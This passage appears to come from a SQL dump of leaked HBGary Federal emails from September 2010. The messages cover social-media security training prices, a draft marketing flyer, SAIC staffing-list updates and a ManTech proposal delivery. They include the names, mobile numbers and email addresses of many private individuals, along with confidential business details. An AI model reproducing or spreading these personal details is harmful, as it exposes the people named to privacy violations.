\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12804,'aaron_hbgary_com/12804.html'),(12355,'2010-09-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009134.M190143P14101Q7210.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Training','Sounds promising so do you think he&#39;s interested in the $50K or $25K options?TvOn Sep 27, 2010, at 9:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;\r\n\r\nDate: September 27, 2010 8:10:11 AM PDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Training\r\n\r\nHi Aaron,I completely understand. We originally discussed targeting our trainingto a select group of employees, but we are also keen to get the message\r\n\r\nout to as many people as possible in the organization.The new pricing is much more attractive and I will certainly considerincluding it in our likely purchase of the forensic tools that HBGary is\r\n\r\noffering.Can you send me the flyer announcing the service as soon as its ready?All the best,Dan\r\n\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, September 24, 2010 9:27 PM\r\nTo: Daniel Collender\r\nSubject: Training* PGP - S/MIME Signed: 9/24/2010 at 9:26:33 PMDaniel,Ted and I have been struggling a bit with our training model for sale.\r\n\r\nWhen we originally priced the course we did it with the target of 25students, charging approximately $750 per student.  You presented aninteresting model.  We knew $750 was out of the range for that many\r\n\r\npeople so we went to work on something that seemed reasonable.  Afterfurther consideration and seeing the money you are putting into manydifferent areas we have come to another model.\r\n\r\nTraining is a commodity and something that is harder for many toquantify results.  That said, nearly every organization that I can tellneeds social media training.  But probably not a full day or even a half\r\n\r\nday course.  2 hours is about right to get the point across.  I thinkthe social media pen testing can be very helpful as well.We are going to start offering our training for $25,000 for 2 days, 3\r\n\r\nclasses a day (2 hrs each).  You can put as many people as you want ineach class however we recommend no more than 50.  The social mediapenetration test runs an additional $25,000 (it is tailored for the\r\n\r\norganization and take quite a bit of work).We are putting together a flyer now to start advertising thisaggressively starting Monday.Let me know if this works better for you.\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n* Issuer: &quot;VeriSign\r\n\r\n',13455,'aaron_hbgary_com/13455.html'),(12356,'2010-09-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009134.M398098P14101Q7211.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Training','Good question.  I am hoping 50.  I know he was interested in pen test.Do you have what it takes to make the new flyer?  I will have some text soon.\r\nAaronSent from my iPhoneOn Sep 27, 2010, at 9:39 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Sounds promising so do you think he&#39;s interested in the $50K or $25K options?\r\nTvOn Sep 27, 2010, at 9:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;\r\n\r\n\r\nDate: September 27, 2010 8:10:11 AM PDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Training\r\n\r\nHi Aaron,I completely understand. We originally discussed targeting our trainingto a select group of employees, but we are also keen to get the message\r\n\r\n\r\nout to as many people as possible in the organization.The new pricing is much more attractive and I will certainly considerincluding it in our likely purchase of the forensic tools that HBGary is\r\n\r\n\r\noffering.Can you send me the flyer announcing the service as soon as its ready?All the best,Dan\r\n\r\n\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, September 24, 2010 9:27 PM\r\n\r\nTo: Daniel Collender\r\nSubject: Training* PGP - S/MIME Signed: 9/24/2010 at 9:26:33 PMDaniel,Ted and I have been struggling a bit with our training model for sale.\r\n\r\n\r\nWhen we originally priced the course we did it with the target of 25students, charging approximately $750 per student.  You presented aninteresting model.  We knew $750 was out of the range for that many\r\n\r\n\r\npeople so we went to work on something that seemed reasonable.  Afterfurther consideration and seeing the money you are putting into manydifferent areas we have come to another model.\r\n\r\n\r\nTraining is a commodity and something that is harder for many toquantify results.  That said, nearly every organization that I can tellneeds social media training.  But probably not a full day or even a half\r\n\r\n\r\nday course.  2 hours is about right to get the point across.  I thinkthe social media pen testing can be very helpful as well.We are going to start offering our training for $25,000 for 2 days, 3\r\n\r\n\r\nclasses a day (2 hrs each).  You can put as many people as you want ineach class however we recommend no more than 50.  The social mediapenetration test runs an additional $25,000 (it is tailored for the\r\n\r\n\r\norganization and take quite a bit of work).We are putting together a flyer now to start advertising thisaggressively starting Monday.Let me know if this works better for you.\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n* Issuer: &quot;VeriSign\r\n\r\n\r\n',16868,'aaron_hbgary_com/16868.html'),(12357,'2010-09-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009134.M635124P14101Q7212.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Training','YepOn Sep 27, 2010, at 12:48 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGood question.  I am hoping 50.  I know he was interested in pen test.Do you have what it takes to make the new flyer?  I will have some text soon.\r\nAaronSent from my iPhoneOn Sep 27, 2010, at 9:39 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSounds promising so do you think he&#39;s interested in the $50K or $25K options?\r\nTvOn Sep 27, 2010, at 9:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;\r\n\r\n\r\n\r\nDate: September 27, 2010 8:10:11 AM PDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: RE: Training\r\n\r\nHi Aaron,I completely understand. We originally discussed targeting our trainingto a select group of employees, but we are also keen to get the message\r\n\r\n\r\n\r\nout to as many people as possible in the organization.The new pricing is much more attractive and I will certainly considerincluding it in our likely purchase of the forensic tools that HBGary is\r\n\r\n\r\n\r\noffering.Can you send me the flyer announcing the service as soon as its ready?All the best,Dan\r\n\r\n\r\n\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, September 24, 2010 9:27 PM\r\n\r\nTo: Daniel Collender\r\nSubject: Training* PGP - S/MIME Signed: 9/24/2010 at 9:26:33 PMDaniel,Ted and I have been struggling a bit with our training model for sale.\r\n\r\n\r\n\r\nWhen we originally priced the course we did it with the target of 25students, charging approximately $750 per student.  You presented aninteresting model.  We knew $750 was out of the range for that many\r\n\r\n\r\n\r\npeople so we went to work on something that seemed reasonable.  Afterfurther consideration and seeing the money you are putting into manydifferent areas we have come to another model.\r\n\r\n\r\n\r\nTraining is a commodity and something that is harder for many toquantify results.  That said, nearly every organization that I can tellneeds social media training.  But probably not a full day or even a half\r\n\r\n\r\n\r\nday course.  2 hours is about right to get the point across.  I thinkthe social media pen testing can be very helpful as well.We are going to start offering our training for $25,000 for 2 days, 3\r\n\r\n\r\n\r\nclasses a day (2 hrs each).  You can put as many people as you want ineach class however we recommend no more than 50.  The social mediapenetration test runs an additional $25,000 (it is tailored for the\r\n\r\n\r\n\r\norganization and take quite a bit of work).We are putting together a flyer now to start advertising thisaggressively starting Monday.Let me know if this works better for you.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n* Issuer: &quot;VeriSign\r\n\r\n\r\n\r\n',11045,'aaron_hbgary_com/11045.html'),(12358,'2010-09-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009134.M852144P14101Q7213.eml','\"Ted Vera\" <ted@hbgary.com>','New Text For Flyer','Take a look. &nbsp;Edit. &nbsp;I would like to send this out today. &nbsp;Call you later.Social media is the new preferred attack vector for malware authors and distributors. &nbsp;It is a one stop shop for target identification, reconnaissance, and exploitation. &nbsp;Need to find Smart Grid engineers that work for a specific energy company in a specific location - no problem. &nbsp;Need to find military personnel that work at the Pentagon - no problem. &nbsp;Cross reference those found across social media profiles to develop a robust social profile and social network link diagrams. &nbsp;It is not an exaggeration to state that through social media every organization is extremely vulnerable and through a platform they can\'t control. &nbsp;The methods for exploiting social media are made more effective because most people do not understand effective use of social media services, the risks in the information they post, and do not understand proper security measure to take.We recognize the criticality of social media security awareness for all individuals and organizations, so for a limited time we are offering a &nbsp;social media training package which includes 3 2-hour classes for 2 days, as many students as you can fit in your auditorium for $25K. &nbsp;The goal is to train as many employees as possible on effective use, risks, and proper security measures. &nbsp;We illustrate the risks by providing leading edge methods and use cases for exploitation. &nbsp;For an additional $25K we can also conduct a social media penetration test to quantify the vulnerabilities to specific organizations. &nbsp;We also incorporate the pen test information into the training to make it more relevant to the organization.HIGHLIGHT:Train the entire company for $25K2 days of training3 2hr. classes per daymaximum participation encouraged\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',6681,'aaron_hbgary_com/6681.html'),(12359,'2010-09-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009135.M579699P14101Q7215.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: NANA - You\'re on the list of companies to consider','Sent from my iPhoneBegin forwarded message:From: &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt;\r\nDate: September 27, 2010 10:54:49 AM PDTTo: undisclosed-recipients:;Subject: RE: NANA - You&#39;re on the list of companies to consider\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis update is delayed to late in the\r\nmonth in part because of an end-of-GFY flurry of activity that I thought might\r\nresult in activating the list, but the existing team continues to step up and\r\nis satisfying the customer’s staffing requirements.\r\n\r\n \r\n\r\nI plan to send another update next month.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott W. \r\nSent: Tuesday, August 10, 2010\r\n9:05 AM\r\nSubject: RE: NANA - You&#39;re on the\r\nlist of companies to consider\r\n\r\n\r\n\r\n \r\n\r\nWe’ve had some recent staffing\r\nactivity due to additional tasks being put on the contract, but it appears that\r\nthe current NANA team is satisfying all of the requirements.\r\n\r\n \r\n\r\nThe update for this month is that there is\r\na slight chance we’ll activate the list within the next 30 days.\r\n\r\n \r\n\r\nI intend to send another update by the\r\nmiddle of next month.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott W. \r\nSent: Monday, July 12, 2010 5:50 PM\r\nSubject: RE: NANA - You&#39;re on the\r\nlist of companies to consider\r\n\r\n\r\n\r\n \r\n\r\nI’ve again used BCC.\r\n\r\n \r\n\r\nThere is very little change in our\r\nstaffing situation at this time. The current team is doing a good job of\r\nsatisfying the customer’s requirements.\r\n\r\n \r\n\r\nAt this time I don’t anticipate\r\nactivating the list within the next 30 days. I intend to send another update by\r\nthe middle of next month.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy \r\n|  Environment  |  National Security  |  Health \r\n|  Critical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott W. \r\nSent: Wednesday, June 09, 2010 5:27\r\nPM\r\nSubject: NANA - You&#39;re on the list\r\nof companies to consider\r\n\r\n\r\n\r\n \r\n\r\nI’ve used BCC on this note.\r\n\r\n \r\n\r\nI’m sending this note as a follow-up to meetings or\r\ncorrespondence I’ve had with your company to reassure you that there\r\nreally is a list and your company is really on it.\r\n\r\n \r\n\r\nAt this time, our NANA team is doing a good job of\r\nsatisfying the customer’s requirements for staff.\r\n\r\n \r\n\r\nIt is a very dynamic environment and we’re committed\r\nto keeping the customer’s mission needs met. If our existing team is\r\nunable to fill a funded requisition in a reasonable amount of time, we’ll\r\nbe corresponding with your company to give you the opportunity to satisfy the\r\nneed and join the team.\r\n\r\n \r\n\r\nI intend to send an update to you around the middle of each\r\nmonth so you’ll know your company is still being considered for future\r\nstaffing needs.\r\n\r\n \r\n\r\nScott\r\n\r\n \r\n\r\n \r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n \r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n \r\n\r\nEnergy  | \r\nEnvironment  |  National Security  |  Health  | \r\nCritical Infrastructure\r\n\r\n \r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n \r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1593,'aaron_hbgary_com/1593.html'),(12360,'2010-09-27','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297009135.M73354P14101Q7214.eml','','RE: NANA - You\'re on the list of companies to consider','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis update is delayed to late in the\r\nmonth in part because of an end-of-GFY flurry of activity that I thought might\r\nresult in activating the list, but the existing team continues to step up and\r\nis satisfying the customer&#8217;s staffing requirements.\r\n\r\n&nbsp;\r\n\r\nI plan to send another update next month.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott W. \r\nSent: Tuesday, August 10, 2010\r\n9:05 AM\r\nSubject: RE: NANA - You\'re on the\r\nlist of companies to consider\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe&#8217;ve had some recent staffing\r\nactivity due to additional tasks being put on the contract, but it appears that\r\nthe current NANA team is satisfying all of the requirements.\r\n\r\n&nbsp;\r\n\r\nThe update for this month is that there is\r\na slight chance we&#8217;ll activate the list within the next 30 days.\r\n\r\n&nbsp;\r\n\r\nI intend to send another update by the\r\nmiddle of next month.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott W. \r\nSent: Monday, July 12, 2010 5:50 PM\r\nSubject: RE: NANA - You\'re on the\r\nlist of companies to consider\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve again used BCC.\r\n\r\n&nbsp;\r\n\r\nThere is very little change in our\r\nstaffing situation at this time. The current team is doing a good job of\r\nsatisfying the customer&#8217;s requirements.\r\n\r\n&nbsp;\r\n\r\nAt this time I don&#8217;t anticipate\r\nactivating the list within the next 30 days. I intend to send another update by\r\nthe middle of next month.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott W. \r\nSent: Wednesday, June 09, 2010 5:27\r\nPM\r\nSubject: NANA - You\'re on the list\r\nof companies to consider\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve used BCC on this note.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m sending this note as a follow-up to meetings or\r\ncorrespondence I&#8217;ve had with your company to reassure you that there\r\nreally is a list and your company is really on it.\r\n\r\n&nbsp;\r\n\r\nAt this time, our NANA team is doing a good job of\r\nsatisfying the customer&#8217;s requirements for staff.\r\n\r\n&nbsp;\r\n\r\nIt is a very dynamic environment and we&#8217;re committed\r\nto keeping the customer&#8217;s mission needs met. If our existing team is\r\nunable to fill a funded requisition in a reasonable amount of time, we&#8217;ll\r\nbe corresponding with your company to give you the opportunity to satisfy the\r\nneed and join the team.\r\n\r\n&nbsp;\r\n\r\nI intend to send an update to you around the middle of each\r\nmonth so you&#8217;ll know your company is still being considered for future\r\nstaffing needs.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8212,'aaron_hbgary_com/8212.html'),(12361,'2010-09-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009135.M787528P14101Q7216.eml','\"Aaron Barr\" <aaron@hbgary.com>','USCERT -- moving forward from a sales perspective','Hi AaronI would like to follow up with Sean and Byron on the TMC and see if it can be in the budget for next year.What I would like to have is:Description of TMC -- what they will be purchasing and the date when it will be available.\r\nSecond I want to see what we will charge and ask if that is in their budget and if that the price equates to the valueCan we work on this later or tomorrow?Maria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',1912,'aaron_hbgary_com/1912.html'),(12362,'2010-09-27','\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>','/aaron@hbgary.com/new/1297009136.M292666P14101Q7218.eml','aaron@hbgary.com,aaron@hbgary.com,','Gatorbait Proposal Delivered today at 11:30am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThank you for your help and support during the proposal\r\neffort.&nbsp; We look forward to working with you on the Gatorbait program.\r\n\r\n&nbsp;\r\n\r\nV/r,\r\n\r\n&nbsp;\r\n\r\nPatrick\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatrick B.\r\nSimpson, Sr. Executive Director\r\n\r\nInformation\r\nOperations Division\r\n\r\nCyber &amp;\r\nSecurity Operations Business Unit\r\n\r\n&nbsp;\r\n\r\nManTech\r\nInternational Corporation\r\n\r\nMission,\r\nCyber and Technology Solutions Group\r\n\r\nOffice\r\n703.388.2168\r\n\r\nCell\r\n703.969.8117\r\n\r\nPatrick.Simpson@Mantech.com\r\n\r\n&nbsp;\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14092,'aaron_hbgary_com/14092.html'),(12363,'2010-09-27','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009136.M538856P14101Q7219.eml','\"Inc. HBGARY\" <All@hbgary.com>','My Phone is not working on phone with Nuvio now','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease call my cell phone if you need anything 408-646-1926\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9740,'aaron_hbgary_com/9740.html'),(12364,'2010-09-27','\"Hull, Wayne A\" <Wayne.Hull@ManTech.com>','/aaron@hbgary.com/new/1297009136.M65689P14101Q7217.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>','Gatorbait update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nThank you for your work to get everything in on time so we could\r\nsubmit an outstanding proposal.&nbsp; I was delivered this morning to the\r\ncustomer.&nbsp; We will keep you posted on any developments.\r\n\r\n&nbsp;\r\n\r\nWayne\r\n\r\n&nbsp;\r\n\r\nWayne\r\nA. Hull\r\n\r\nSenior\r\nContracts Manager\r\n\r\nManTech\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\nPhone:\r\n(703) 610-9232\r\n\r\nMobile:\r\n(703) 899-2896\r\n\r\nUnclassified\r\nfax: (703) 847-0486\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify 